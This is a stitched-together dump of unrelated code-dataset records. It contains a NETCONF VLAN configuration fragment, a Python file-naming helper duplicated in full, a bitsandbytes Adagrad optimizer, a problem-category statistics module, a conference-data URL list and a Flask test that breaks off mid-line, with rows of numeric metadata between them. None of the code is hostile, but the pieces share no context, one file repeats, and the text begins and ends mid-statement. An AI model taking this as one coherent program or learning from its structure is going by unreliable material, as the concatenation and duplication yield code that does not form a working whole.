name=tag_vlans['name'], description=tag_vlans['description']) with manager.connect(**device_kargs) as netconf_manager: netconf_manager.edit_config( target='running', config=xml_create_vlan, default_operation='merge') elif (port_link_type) == '2': # Trunk xml_create_vlan = ''' <nc:config xmlns:nc="urn:ietf:params:xml:ns:netconf:base:1.0"> <top xmlns="http://www.hp.com/netconf/config:1.0"> <VLAN> <VLANs> <VLANID> <ID>{number_of_vlan}</ID> <Description>{description_of_vlan}</Description> <Name>{name_of_vlan}</Name> </VLANID> </VLANs> </VLAN> </top> </nc:config> '''.format(number_of_vlan=dados_vlan[1], description_of_vlan=dados_vlan[2], name_of_vlan=dados_vlan[0]) with manager.connect(**device_kargs) as netconf_manager: netconf_manager.edit_config( target='running', config=xml_create_vlan, default_operation='merge')
46.990385
131
0.431962
437
4,887
4.576659
0.173913
0.06
0.0495
0.0675
0.7835
0.7825
0.769
0.7585
0.7585
0.7585
0
0.013233
0.458768
4,887
103
132
47.446602
0.742911
0.006548
0
0.758621
0
0.045977
0.62342
0.11984
0
0
0
0
0
1
0.011494
false
0.022989
0.045977
0
0.057471
0
0
0
0
null
0
0
0
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
847cb88a2b548ecbd95fce7d3d6233ca871c9a04
9,140
py
Python
wpkit/basic/filetools.py
Peiiii/wpkit
23a07548be766b559b80e3114ecc24e3f2f65ea5
[ "MIT" ]
null
null
null
wpkit/basic/filetools.py
Peiiii/wpkit
23a07548be766b559b80e3114ecc24e3f2f65ea5
[ "MIT" ]
null
null
null
wpkit/basic/filetools.py
Peiiii/wpkit
23a07548be766b559b80e3114ecc24e3f2f65ea5
[ "MIT" ]
null
null
null
import glob,os,re def count(arr,sort=True): items=set(arr) counts=[0]*len(items) for i,el in enumerate(arr): for j,item in enumerate(items): if el==item: counts[j]+=1 res=list(zip(items,counts)) if sort: res.sort(key=lambda item:item[1],reverse=True) return res def count_to_dict(arr): return {k:v for k,v in count(arr)} def fill_string_with_list(text,list,replace_char='*'): for l in list: text=text.replace(replace_char,str(l),1) return text def find_those_who(list,key): new=[] for i in list: if key(i):new.append(i) return new def auto_name(pattern='*.jpg',dir=None): if dir: ptn=find_path_pattern(dir) return auto_name(pattern=ptn) else: items=glob.glob(pattern) indexes=[] parts = pattern.split('*') def find_all_parts(text): myparts=parts.copy() reses=[] for i in range(len(myparts)-1): pre='(?<=%s)'%(myparts[i]) if len(myparts[i]) else '' suf='(?=%s)'%(myparts[i+1]) if len(myparts[i+1]) else '' reg='%s.*?%s'%(pre,suf) res=re.findall(reg,text) if not len(res): print("reg not find in text:", reg,text) return None res=res[0] reses.append(res) myparts[i+1]=myparts[i]+res+myparts[i+1] if not len(reses)==len(parts)-1:return None return reses for item in items: numbers = find_all_parts(item) if not numbers: continue # print("numbers:",numbers) indexes.append(numbers) def get_max_index(indexes): # print(indexes) for i in range(len(indexes[0])): indexes.sort(key=lambda index:index[i]) tmp=find_those_who(indexes,key=lambda index:index[i]==indexes[-1][i]) indexes=tmp return indexes[0] if len(indexes): new_index=get_max_index(indexes) new_index[-1]=str(int(new_index[-1])+1) else: new_index=[0] path=fill_string_with_list(pattern,new_index,'*') return path def find_path_pattern(dir): items = glob.glob(dir + '/*') ptns = [] for item in items: nums = re.findall('[0-9]{1,}', item) if not len(nums): continue ptn = item for num in nums: ptn = ptn.replace(num, '*', 1) ptns.append(ptn) if not len(ptns): ptns.append('*.jpg') counts = count(ptns) if not counts:return None ptn = counts[0][0] return ptn def get_max_path(pattern='*.jpg',dir=None): if dir: ptn=find_path_pattern(dir=dir) return get_max_path(pattern=ptn) else: items=glob.glob(pattern) indexes=[] parts = pattern.split('*') def find_all_parts(text): myparts=parts.copy() reses=[] for i in range(len(myparts)-1): pre='(?<=%s)'%(myparts[i]) if len(myparts[i]) else '' suf='(?=%s)'%(myparts[i+1]) if len(myparts[i+1]) else '' reg='%s.*?%s'%(pre,suf) res=re.findall(reg,text) if not len(res): print("reg not find in text:", reg,text) return None res=res[0] reses.append(res) myparts[i+1]=myparts[i]+res+myparts[i+1] if not len(reses)==len(parts)-1:return None return reses for item in items: numbers = find_all_parts(item) if not numbers: continue # print("numbers:",numbers) indexes.append(numbers) def get_max_index(indexes): # print(indexes) for i in range(len(indexes[0])): indexes.sort(key=lambda index:index[i]) tmp=find_those_who(indexes,key=lambda index:index[i]==indexes[-1][i]) indexes=tmp return indexes[0] if len(indexes): new_index=get_max_index(indexes) # print(new_index) # new_index[-1]=str(int(new_index[-1])+1) path = fill_string_with_list(pattern, new_index, '*') else: path=None return path # x=auto_name(dir='data/test/result') # x=auto_name(pattern='data/test/result/*_*_*.jpg') # x=get_max_path(dir='data/test/result/') # print(x) import glob,os,re def count(arr,sort=True): items=set(arr) counts=[0]*len(items) for i,el in enumerate(arr): for j,item in enumerate(items): if el==item: counts[j]+=1 res=list(zip(items,counts)) if sort: res.sort(key=lambda item:item[1],reverse=True) return res def count_to_dict(arr): return {k:v for k,v in count(arr)} def fill_string_with_list(text,list,replace_char='*'): for l in list: text=text.replace(replace_char,str(l),1) return text def find_those_who(list,key): new=[] for i in list: if key(i):new.append(i) return new def auto_name(pattern='*.jpg',dir=None): if dir: ptn=find_path_pattern(dir) return auto_name(pattern=ptn) else: items=glob.glob(pattern) indexes=[] parts = pattern.split('*') def find_all_parts(text): myparts=parts.copy() reses=[] for i in range(len(myparts)-1): pre='(?<=%s)'%(myparts[i]) if len(myparts[i]) else '' suf='(?=%s)'%(myparts[i+1]) if len(myparts[i+1]) else '' reg='%s[0-9]*?%s'%(pre,suf) res=re.findall(reg,text) if not len(res): print("reg not find in text:", reg,text) return None res=res[0] reses.append(res) myparts[i+1]=myparts[i]+res+myparts[i+1] if not len(reses)==len(parts)-1:return None return reses for item in items: numbers = find_all_parts(item) if not numbers: continue # print("numbers:",numbers) indexes.append(numbers) def get_max_index(indexes): # print(indexes) for i in range(len(indexes[0])): indexes.sort(key=lambda index:index[i]) tmp=find_those_who(indexes,key=lambda index:index[i]==indexes[-1][i]) indexes=tmp return indexes[0] if len(indexes): new_index=get_max_index(indexes) new_index[-1]=str(int(new_index[-1])+1) else: new_index=[0] path=fill_string_with_list(pattern,new_index,'*') return path def find_path_pattern(dir): items = glob.glob(dir + '/*') ptns = [] for item in items: nums = re.findall('[0-9]{1,}', item) if not len(nums): continue ptn = item for num in nums: ptn = ptn.replace(num, '*', 1) ptns.append(ptn) if not len(ptns): ptns.append('*.jpg') counts = count(ptns) if not counts:return None ptn = counts[0][0] return ptn def get_max_path(pattern='*.jpg',dir=None): if dir: ptn=find_path_pattern(dir=dir) return get_max_path(pattern=ptn) else: items=glob.glob(pattern) indexes=[] parts = pattern.split('*') def find_all_parts(text): myparts=parts.copy() reses=[] for i in range(len(myparts)-1): pre='(?<=%s)'%(myparts[i]) if len(myparts[i]) else '' suf='(?=%s)'%(myparts[i+1]) if len(myparts[i+1]) else '' reg='%s[0-9]*?%s'%(pre,suf) res=re.findall(reg,text) if not len(res): print("reg not find in text:", reg,text) return None res=res[0] reses.append(res) myparts[i+1]=myparts[i]+res+myparts[i+1] if not len(reses)==len(parts)-1:return None return reses for item in items: numbers = find_all_parts(item) if not numbers: continue # print("numbers:",numbers) indexes.append(numbers) def get_max_index(indexes): # print(indexes) for i in range(len(indexes[0])): indexes.sort(key=lambda index:index[i]) tmp=find_those_who(indexes,key=lambda index:index[i]==indexes[-1][i]) indexes=tmp return indexes[0] if len(indexes): new_index=get_max_index(indexes) # print(new_index) # new_index[-1]=str(int(new_index[-1])+1) path = fill_string_with_list(pattern, new_index, '*') else: path=None return path # x=auto_name(dir='data/test/result') # x=auto_name(pattern='data/test/result/*_*_*.jpg') # x=get_max_path(dir='data/test/result/') # print(x)
33.977695
85
0.521663
1,218
9,140
3.811166
0.070608
0.048255
0.031021
0.018957
1
1
1
1
1
1
0
0.012888
0.337856
9,140
269
86
33.977695
0.754131
0.059847
0
1
0
0
0.027532
0
0
0
0
0
0
1
0.090164
false
0
0.008197
0.008197
0.221311
0.016393
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
84ade3c78a7039a0c6978925fcb68af5cf8371f8
3,131
py
Python
bitsandbytes/optim/adagrad.py
acarapetis/bitsandbytes
4e60e7dc62c50b6ba9b6becf6e779a1d48906be2
[ "MIT" ]
438
2021-10-07T01:43:58.000Z
2022-03-31T12:39:23.000Z
bitsandbytes/optim/adagrad.py
acarapetis/bitsandbytes
4e60e7dc62c50b6ba9b6becf6e779a1d48906be2
[ "MIT" ]
21
2021-10-10T09:09:54.000Z
2022-03-25T16:23:00.000Z
bitsandbytes/optim/adagrad.py
acarapetis/bitsandbytes
4e60e7dc62c50b6ba9b6becf6e779a1d48906be2
[ "MIT" ]
27
2021-10-06T23:43:17.000Z
2022-02-23T19:23:44.000Z
# Copyright (c) Facebook, Inc. and its affiliates. # # This source code is licensed under the MIT license found in the # LICENSE file in the root directory of this source tree. import torch from bitsandbytes.optim.optimizer import Optimizer1State torch.optim.Adagrad class Adagrad(Optimizer1State): def __init__(self, params, lr=1e-2, lr_decay=0, weight_decay=0, initial_accumulator_value=0, eps=1e-10, optim_bits=32, args=None, min_8bit_size=4096, percentile_clipping=100, block_wise=True): if not 0.0 <= lr: raise ValueError("Invalid learning rate: {}".format(lr)) if not 0.0 <= weight_decay: raise ValueError("Invalid weight_decay value: {}".format(weight_decay)) if not 0.0 <= eps: raise ValueError("Invalid epsilon value: {}".format(eps)) if initial_accumulator_value != 0.0: raise ValueError('Initial accumulator value != 0.0 not supported!') if lr_decay != 0.0: raise ValueError('Lr Decay != 0.0 not supported!') super(Adagrad, self).__init__('adagrad', params, lr, (0.0, 0.0), eps, weight_decay, optim_bits, args, min_8bit_size, percentile_clipping, block_wise) class Adagrad8bit(Optimizer1State): def __init__(self, params, lr=1e-2, lr_decay=0, weight_decay=0, initial_accumulator_value=0, eps=1e-10, optim_bits=8, args=None, min_8bit_size=4096, percentile_clipping=100, block_wise=True): if not 0.0 <= lr: raise ValueError("Invalid learning rate: {}".format(lr)) if not 0.0 <= weight_decay: raise ValueError("Invalid weight_decay value: {}".format(weight_decay)) if not 0.0 <= eps: raise ValueError("Invalid epsilon value: {}".format(eps)) if initial_accumulator_value != 0.0: raise ValueError('Initial accumulator value != 0.0 not supported!') if lr_decay != 0.0: raise ValueError('Lr Decay != 0.0 not supported!') assert block_wise super(Adagrad8bit, self).__init__('adagrad', params, lr, (0.0, 0.0), eps, weight_decay, 8, args, min_8bit_size, percentile_clipping, block_wise) class Adagrad32bit(Optimizer1State): def __init__(self, params, lr=1e-2, lr_decay=0, weight_decay=0, initial_accumulator_value=0, eps=1e-10, optim_bits=32, args=None, min_8bit_size=4096, percentile_clipping=100, block_wise=True): if not 0.0 <= lr: raise ValueError("Invalid learning rate: {}".format(lr)) if not 0.0 <= weight_decay: raise ValueError("Invalid weight_decay value: {}".format(weight_decay)) if not 0.0 <= eps: raise ValueError("Invalid epsilon value: {}".format(eps)) if initial_accumulator_value != 0.0: raise ValueError('Initial accumulator value != 0.0 not supported!') if lr_decay != 0.0: raise ValueError('Lr Decay != 0.0 not supported!') super(Adagrad32bit, self).__init__('adagrad', params, lr, (0.0, 0.0), eps, weight_decay, 32, args, min_8bit_size, percentile_clipping, block_wise)
53.982759
107
0.651868
428
3,131
4.567757
0.17757
0.030691
0.036829
0.110486
0.840921
0.840921
0.840921
0.840921
0.819437
0.771356
0
0.051059
0.230597
3,131
57
108
54.929825
0.760482
0.055254
0
0.714286
0
0
0.16661
0
0
0
0
0
0.020408
1
0.061224
false
0
0.040816
0
0.163265
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
84b10bd5509806828597505e50d9e0e28db64b54
112
py
Python
weatherapp/core/commands/__init__.py
midasinc/weatherapp.core
583f4687ba706d8159a506e844d7630645f39f07
[ "MIT" ]
null
null
null
weatherapp/core/commands/__init__.py
midasinc/weatherapp.core
583f4687ba706d8159a506e844d7630645f39f07
[ "MIT" ]
null
null
null
weatherapp/core/commands/__init__.py
midasinc/weatherapp.core
583f4687ba706d8159a506e844d7630645f39f07
[ "MIT" ]
1
2019-01-28T17:22:09.000Z
2019-01-28T17:22:09.000Z
from weatherapp.core.commands.config import Configurate from weatherapp.core.commands.providers import Providers
56
56
0.883929
14
112
7.071429
0.571429
0.282828
0.363636
0.525253
0
0
0
0
0
0
0
0
0.0625
112
2
56
56
0.942857
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
8
ca6a5a4d43ac796d2a5022c3720e6a72b9b17466
8,237
py
Python
database/query/category.py
KWY-Q/SDUST-ACMER
76796f975edbea379adb1ebec1d654ed88a38d36
[ "MIT" ]
2
2017-03-02T13:44:40.000Z
2019-02-12T09:41:11.000Z
database/query/category.py
KWY-Q/SDUST-ACMER
76796f975edbea379adb1ebec1d654ed88a38d36
[ "MIT" ]
1
2018-10-26T09:09:34.000Z
2018-10-26T09:09:34.000Z
database/query/category.py
KWY-Q/SDUST-ACMER
76796f975edbea379adb1ebec1d654ed88a38d36
[ "MIT" ]
1
2018-10-26T09:04:37.000Z
2018-10-26T09:04:37.000Z
from ..models import ProblemCategory as __Category from ..models import User as __User from ..models import ProblemUserRelation as __ProblemUserRelation from .util import first_one as __database_get from .util import to_dict as __to_dict from .util import to_list as __to_list def get_category_basic(cat_name): """ 获取指定目录的基本信息。 :param cat_name: :return: 如果目录存在,返回包含目录信息的字典,否则返回None """ ret = __database_get(__Category, name=cat_name) return __to_dict(ret) def get_category_children(cat_name): """ 获取指定目录下的所有子目录基本信息。 :param cat_name: :return: """ cat = __Category.objects.filter(name=cat_name).first() if cat is None: return {'length': 0, 'slice': []} ret = cat.category.all() return __to_list(ret, get_all=True) def get_category_problem(cat_name): """ 获取指定目录下直接相关的问题。 :param cat_name: :return: """ cat = __Category.objects.filter(name=cat_name).first() if cat is None: return {'length': 0, 'slice': []} problems = cat.problem.filter(category_relation__direct=True) return __to_list(problems, get_all=True) def get_category_basic_analysis(cat_name, username): """ 获取指定目录的基本信息,,并按照用户进行统计 :param cat_name: :param username: :return: 如果目录存在,返回包含目录信息的字典,否则返回None """ cat = __Category.objects.filter(name=cat_name).first() user = __User.objects.filter(username=username).first() if user is None or cat is None: return None query_dict = {} relation = __ProblemUserRelation.objects.filter(user=user).values('problem_id', 'solved').distinct() for i in relation: query_dict[i['problem_id']] = i['solved'] problems = cat.problem.values('id').distinct() num_solved = 0 num_tried = 0 num_all = 0 for problem in problems: if problem['id'] in query_dict: if query_dict[problem['id']] is True: num_solved += 1 num_tried += 1 num_all += 1 return { 'name': cat.name, 'caption': cat.caption, 'num_solved': num_solved, 'num_tried': num_tried, 'num_all': num_all } def get_category_basic_analysis_users(cat_name, *args): cat = __Category.objects.filter(name=cat_name).first() if cat is None: return None problems = cat.problem.values('id').distinct() ret = [] for username in args: user = __User.objects.filter(username=username).first() if user is None or cat is None: ret.append({ 'num_solved': 0, 'num_tried': 0, 'num_all': 0 }) query_dict = {} relation = __ProblemUserRelation.objects.filter(user=user).values('problem_id', 'solved').distinct() for i in relation: query_dict[i['problem_id']] = i['solved'] num_solved = 0 num_tried = 0 num_all = 0 for problem in problems: if problem['id'] in query_dict: if query_dict[problem['id']] is True: num_solved += 1 num_tried += 1 num_all += 1 ret.append({ 'num_solved': num_solved, 'num_tried': num_tried, 'num_all': num_all }) return { 'name': cat.name, 'caption': cat.caption, 'user_result': ret } def get_category_children_analysis(cat_name, username): """ 获取指定目录下的所有子目录基本信息,并按照用户进行统计。 :param cat_name: :param username : :return: """ cat = __Category.objects.filter(name=cat_name).first() user = __User.objects.filter(username=username).first() if user is None or cat is None: return [] query_dict = {} relation = __ProblemUserRelation.objects.filter(user=user).values('problem_id', 'solved').distinct() for i in relation: query_dict[i['problem_id']] = i['solved'] cats = cat.category.all() ret = [] for category in cats: problems = category.problem.values('id').distinct() num_solved = 0 num_tried = 0 num_all = 0 for problem in problems: if problem['id'] in query_dict: if query_dict[problem['id']] is True: num_solved += 1 num_tried += 1 num_all += 1 ret.append({ 'name': category.name, 'caption': category.caption, 'num_solved': num_solved, 'num_tried': num_tried, 'num_all': num_all }) return ret def get_category_children_analysis_users(cat_name, *args): cat = __Category.objects.filter(name=cat_name).first() if cat is None: return None cats = cat.category.all() ret = [] for category in cats: problems = category.problem.values('id').distinct() user_ret = [] for username in args: user = __User.objects.filter(username=username).first() if user is None: user_ret.append({ 'num_solved': 0, 'num_tried': 0, 'num_all': 0 }) query_dict = {} relation = __ProblemUserRelation.objects.filter(user=user).values('problem_id', 'solved').distinct() for i in relation: query_dict[i['problem_id']] = i['solved'] num_solved = 0 num_tried = 0 num_all = 0 for problem in problems: if problem['id'] in query_dict: if query_dict[problem['id']] is True: num_solved += 1 num_tried += 1 num_all += 1 user_ret.append({ 'num_solved': num_solved, 'num_tried': num_tried, 'num_all': num_all }) ret.append({ 'name': category.name, 'caption': category.caption, 'user_result': user_ret }) return ret def get_category_user_problem(cat_name, username): """ 获取直接在指定目录下的用户AC的题目、尚未AC的题目和尚未做过的题目的情况 :param cat_name: :param username: :return: """ cat = __Category.objects.filter(name=cat_name).first() user = __User.objects.filter(username=username).first() if user is None or cat is None: return {'solved': [], 'not_solved': [], 'not_tried': []} query_dict = {} relation = __ProblemUserRelation.objects.filter(user=user).values('problem_id', 'solved').distinct() for i in relation: query_dict[i['problem_id']] = i['solved'] problems = cat.problem.filter(category_relation__direct=True).values('id', 'title') solved = [] not_solved = [] not_tried = [] for i in problems: if i['id'] in query_dict: if query_dict[i['id']] is True: solved.append(i) else: not_solved.append(i) else: not_tried.append(i) return {'solved': solved, 'not_solved': not_solved, 'not_tried': not_tried} def get_category_user_problem_users(cat_name, *args): cat = __Category.objects.filter(name=cat_name).first() if cat is None: return None ret = [] problems = cat.problem.filter(category_relation__direct=True).values('id', 'title') for username in args: user = __User.objects.filter(username=username).first() if user is None or cat is None: ret.append({'solved': [], 'not_solved': [], 'not_tried': []}) query_dict = {} relation = __ProblemUserRelation.objects.filter(user=user).values('problem_id', 'solved').distinct() for i in relation: query_dict[i['problem_id']] = i['solved'] solved = [] not_solved = [] not_tried = [] for i in problems: if i['id'] in query_dict: if query_dict[i['id']] is True: solved.append(i) else: not_solved.append(i) else: not_tried.append(i) ret.append({'solved': solved, 'not_solved': not_solved, 'not_tried': not_tried}) return ret
27.006557
112
0.57011
969
8,237
4.588235
0.072239
0.040936
0.027215
0.043185
0.857175
0.828385
0.796896
0.773504
0.744714
0.744714
0
0.005648
0.312128
8,237
304
113
27.095395
0.779033
0.048683
0
0.843137
0
0
0.075732
0
0
0
0
0
0
1
0.044118
false
0
0.029412
0
0.156863
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
ca7930d11814c45d5d77f75da19c6c8959af8d8c
292
py
Python
plynx/web/__init__.py
plynx-team/plynx
4b53ca3500c629f1c0201cc8f4910a1f2a276a32
[ "Apache-2.0" ]
100
2020-03-12T05:14:48.000Z
2022-03-30T09:26:53.000Z
plynx/web/__init__.py
plynx-team/plynx
4b53ca3500c629f1c0201cc8f4910a1f2a276a32
[ "Apache-2.0" ]
48
2020-03-12T00:54:51.000Z
2022-03-15T02:52:14.000Z
plynx/web/__init__.py
plynx-team/plynx
4b53ca3500c629f1c0201cc8f4910a1f2a276a32
[ "Apache-2.0" ]
24
2020-04-23T03:14:37.000Z
2022-03-27T12:10:49.000Z
# flake8: noqa from plynx.web.common import app, verify_password, authenticate, requires_auth, register_user, make_fail_response, run_api import plynx.web.node import plynx.web.resource import plynx.web.user import plynx.web.state import plynx.web.health from gevent.pywsgi import WSGIServer
32.444444
122
0.835616
45
292
5.288889
0.6
0.201681
0.294118
0
0
0
0
0
0
0
0
0.003774
0.092466
292
8
123
36.5
0.89434
0.041096
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0.142857
1
0
1
0
0
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
1
1
0
1
0
0
7
0474e5ee4249578e9a9c7449b0c0dd31299b1616
149
py
Python
atest/testresources/testlibs/pythonmodule/submodule/sublib.py
phil-davis/robotframework
4d4ce686cbe01e293bb86ea6ff34330e8c45fc43
[ "ECL-2.0", "Apache-2.0" ]
7,073
2015-01-01T17:19:16.000Z
2022-03-31T22:01:29.000Z
atest/testresources/testlibs/pythonmodule/submodule/sublib.py
phil-davis/robotframework
4d4ce686cbe01e293bb86ea6ff34330e8c45fc43
[ "ECL-2.0", "Apache-2.0" ]
2,412
2015-01-02T09:29:05.000Z
2022-03-31T13:10:46.000Z
atest/testresources/testlibs/pythonmodule/submodule/sublib.py
phil-davis/robotframework
4d4ce686cbe01e293bb86ea6ff34330e8c45fc43
[ "ECL-2.0", "Apache-2.0" ]
2,298
2015-01-03T02:47:15.000Z
2022-03-31T02:00:16.000Z
def keyword_from_deeper_submodule(): return 'hi again' class Sub: def keyword_from_class_in_deeper_submodule(self): return 'bye'
14.9
53
0.718121
20
149
4.95
0.65
0.20202
0.282828
0
0
0
0
0
0
0
0
0
0.208054
149
9
54
16.555556
0.838983
0
0
0
0
0
0.074324
0
0
0
0
0
0
1
0.4
false
0
0
0.4
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
7
04b93455aac7c09c36eac4a92b591a61e5aac74c
6,063
py
Python
web/events/management/sources.py
vtalks/vtalks.net
80fb19ff9684e0854c6abe5f0eef73e80ec326a6
[ "Apache-2.0" ]
1
2017-11-28T03:17:23.000Z
2017-11-28T03:17:23.000Z
web/events/management/sources.py
vtalks/vtalks.net
80fb19ff9684e0854c6abe5f0eef73e80ec326a6
[ "Apache-2.0" ]
56
2018-01-14T18:03:03.000Z
2018-06-25T17:59:02.000Z
web/events/management/sources.py
vtalks/vtalks.net
80fb19ff9684e0854c6abe5f0eef73e80ec326a6
[ "Apache-2.0" ]
null
null
null
source_urls = { "2014": [ "https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2014/javascript.json", "https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2014/ruby.json", "https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2014/ux.json", ], "2015": [ "https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2015/ruby.json", "https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2015/ux.json", ], "2016": [ "https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2016/ruby.json", "https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2016/ux.json", ], "2017": [ "https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2017/javascript.json", "https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2017/android.json", "https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2017/css.json", "https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2017/data.json", "https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2017/devops.json", "https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2017/general.json", "https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2017/ios.json", "https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2017/php.json", "https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2017/ruby.json", "https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2017/tech-comm.json", "https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2017/ux.json", ], "2018": [ "https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2018/javascript.json", "https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2018/android.json", "https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2018/css.json", "https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2018/data.json", "https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2018/devops.json", "https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2018/dotnet.json", "https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2018/elixir.json", "https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2018/general.json", "https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2018/golang.json", "https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2018/ios.json", "https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2018/php.json", "https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2018/python.json", "https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2018/ruby.json", "https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2018/rust.json", "https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2018/scala.json", "https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2018/security.json", "https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2018/tech-comm.json", "https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2018/ux.json", ], "2019": [ "https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2019/javascript.json", "https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2019/android.json", "https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2019/css.json", "https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2019/data.json", "https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2019/devops.json", "https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2019/elixir.json", "https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2019/general.json", "https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2019/golang.json", "https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2019/ios.json", "https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2019/php.json", "https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2019/python.json", "https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2019/ruby.json", "https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2019/rust.json", "https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2019/security.json", "https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2019/tech-comm.json", "https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2019/ux.json", ] } source_urls_javascript = { }
85.394366
117
0.757216
690
6,063
6.649275
0.050725
0.090671
0.283348
0.31735
0.977986
0.977986
0.977986
0.977986
0.977986
0.977986
0
0.042037
0.089725
6,063
70
118
86.614286
0.789273
0
0
0.073529
0
0.764706
0.87234
0
0
0
0
0
0
1
0
false
0
0
0
0
0
0
0
0
null
0
1
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
10
ca0125f63ff8845e92fa1da8f0f095eeff20facb
27,122
py
Python
unit_tests/add_land_charge/test_location.py
LandRegistry/maintain-frontend
d92446a9972ebbcd9a43a7a7444a528aa2f30bf7
[ "MIT" ]
1
2019-10-03T13:58:29.000Z
2019-10-03T13:58:29.000Z
unit_tests/add_land_charge/test_location.py
LandRegistry/maintain-frontend
d92446a9972ebbcd9a43a7a7444a528aa2f30bf7
[ "MIT" ]
null
null
null
unit_tests/add_land_charge/test_location.py
LandRegistry/maintain-frontend
d92446a9972ebbcd9a43a7a7444a528aa2f30bf7
[ "MIT" ]
1
2021-04-11T05:24:57.000Z
2021-04-11T05:24:57.000Z
from maintain_frontend import main from flask_testing import TestCase from unit_tests.utilities import Utilities from flask import url_for from unittest.mock import patch from maintain_frontend.dependencies.session_api.session import Session from maintain_frontend.models import LocalLandChargeItem from maintain_frontend.constants.permissions import Permissions from maintain_frontend.exceptions import ApplicationError import json class TestLocation(TestCase): def create_app(self): main.app.testing = True Utilities.mock_session_cookie_flask_test(self) return main.app def setUp(self): main.app.config['Testing'] = True main.app.config['WTF_CSRF_ENABLED'] = False def test_add_location_redirects_to_new(self): self.client.set_cookie('localhost', Session.session_cookie_name, 'cookie_value') self.mock_session.return_value.add_charge_state = None self.mock_session.return_value.user.permissions = [Permissions.add_llc] response = self.client.get(url_for('add_land_charge.get_location')) self.assert_status(response, 302) self.assertRedirects(response, url_for('add_land_charge.new')) def test_add_location_renders(self): self.client.set_cookie('localhost', Session.session_cookie_name, 'cookie_value') state = LocalLandChargeItem() self.mock_session.return_value.add_charge_state = state self.mock_session.return_value.user.permissions = [Permissions.add_llc] response = self.client.get(url_for('add_land_charge.get_location')) self.assertStatus(response, 200) self.assert_template_used('location.html') self.assertFalse(self.mock_session.return_value.charge_added_outside_users_authority) def test_add_location_renders_with_previous_data(self): self.client.set_cookie('localhost', Session.session_cookie_name, 'cookie_value') input = '{"type":"FeatureCollection",' \ '"features":[' \ '{"type":"Feature",' \ '"geometry":{' \ '"type":"Polygon",' \ '"coordinates":[' \ '[[511076.08598934463,381319.1389185938],' \ '[502935.0162093069,344754.81621829123],' \ '[460299.51643357374,365124.6766137525],' \ '[478395.29646112275,392099.3797708411],' \ '[511076.08598934463,381319.1389185938]]]},' \ '"properties":{"id":1}}]}' state 